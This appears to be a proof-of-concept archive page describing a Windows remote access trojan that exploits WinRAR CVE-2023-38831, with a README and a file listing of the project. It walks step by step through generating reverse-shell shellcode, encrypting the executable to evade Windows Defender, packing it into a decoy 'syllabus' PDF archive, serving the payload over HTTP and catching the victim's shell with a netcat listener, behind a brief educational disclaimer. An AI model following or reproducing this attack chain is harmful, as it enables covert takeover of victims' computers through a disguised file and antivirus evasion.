CVE-2023-38831 PoC — WinRAR 安全漏洞

Source

Associated Vulnerability

Description

Remote Access Trojan (RAT) for Windows x64 using a combination of vulnerability CVE-2023-38831 (WinRAR < 6.23 vulnerability) and Shellcode exploitation technique.

Readme

# Windows x64 Remote Access Trojan (RAT)

## Objective
Develop a Windows x64 RAT using CVE-2023-38831 (WinRAR < 6.23) and Shellcode exploitation to bypass Windows Defender.

## System Description
1. **Shellcode Initialization**
   - Generate shellcode using Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode.
2. **main.cpp Explanation**
   - Inject and execute shellcode in memory to establish a reverse TCP connection.
3. **Compile and Encrypt main.cpp**
   - Compile C++ file into an executable and encrypt it.
4. **Exploit WinRAR CVE-2023-38831**
   - Use the vulnerability to download, decrypt, and execute the encrypted RAT.
5. **Decrypt and Execute Script (decrypt_file.ps1)**
   - Decrypt and execute the downloaded executable.
6. **Execution**
   - Open the crafted PDF/image to trigger reverse shell connection.

# Exploit Guide

**Warning: This information is for educational purposes only. Unauthorized use of these techniques is illegal and unethical.**

## Step-by-Step Instructions

1. **Craft Shellcode**
   - Use `51721.py` to generate the initial shellcode.

2. **Modify and Compile the Shellcode**
   - Make necessary modifications to the shellcode.
   - Compile the modified code.

3. **Encrypt the Executable**
   - Use `decrypt_file.ps1` to encrypt the compiled executable:
     ```powershell
     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     ```

4. **Create a WinRAR Archive**
   - Use `cve-2023-38831-exp-gen.py` to create the archive:
     ```
     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     ```

5. **Set Up a Python Server for File Download**
   - Navigate to the directory containing `enc_main.exe` and `decrypt_file.ps1`.
   - Start a Python HTTP server:
     ```
     python3 -m http.server 8000
     ```

6. **Prepare to Listen for the Reverse TCP Shell**
   - Open Netcat to listen for incoming TCP connections:
     ```
     nc -lnvp 4444
     ```

7. **Trigger the Reverse TCP Shell**
   - When the victim opens the PDF file, the reverse TCP connection will be triggered, giving you access to their machine.

## Disclaimer

This information is provided for educational purposes only. The use of this exploit without explicit permission is illegal and unethical. The author assumes no responsibility for any misuse of this information.

File Snapshot

 [4.0K]  /data/pocs/92c43cd2c33f2575829038cfb60f0bbe5d824c22
├── [ 18K]  51721.py
├── [4.0K]  cmake-build-debug
│   ├── [ 31K]  build.ninja
│   ├── [ 17K]  CMakeCache.txt
│   ├── [4.0K]  CMakeFiles
│   │   ├── [4.0K]  3.28.1
│   │   │   ├── [3.3K]  CMakeCCompiler.cmake
│   │   │   ├── [6.5K]  CMakeCXXCompiler.cmake
│   │   │   ├── [ 42K]  CMakeDetermineCompilerABI_C.bin
│   │   │   ├── [ 42K]  CMakeDetermineCompilerABI_CXX.bin
│   │   │   ├── [ 279]  CMakeRCCompiler.cmake
│   │   │   ├── [ 380]  CMakeSystem.cmake
│   │   │   ├── [4.0K]  CompilerIdC
│   │   │   │   ├── [ 42K]  a.exe
│   │   │   │   └── [ 26K]  CMakeCCompilerId.c
│   │   │   └── [4.0K]  CompilerIdCXX
│   │   │       ├── [ 42K]  a.exe
│   │   │       └── [ 26K]  CMakeCXXCompilerId.cpp
│   │   ├── [1.4K]  clion-Debug-log.txt
│   │   ├── [ 295]  clion-environment.txt
│   │   ├── [  85]  cmake.check_cache
│   │   ├── [ 71K]  CMakeConfigureLog.yaml
│   │   ├── [2.4K]  rules.ninja
│   │   └── [ 305]  TargetDirectories.txt
│   ├── [1.6K]  cmake_install.cmake
│   └── [4.0K]  Testing
│       └── [4.0K]  Temporary
│           └── [ 157]  LastTest.log
├── [ 138]  CMakeLists.txt
├── [4.0K]  CVE-2023-38831-winrar-exploit
├── [ 804]  decrypt_file.ps1
├── [134K]  enc_main.exe
├── [4.1K]  main.cpp
├── [134K]  main.exe
├── [237K]  Network-Secuirty-Syllabus.pdf
├── [237K]  NetworkSecuritySyllabus.rar
└── [2.3K]  README.md

8 directories, 29 files

Remarks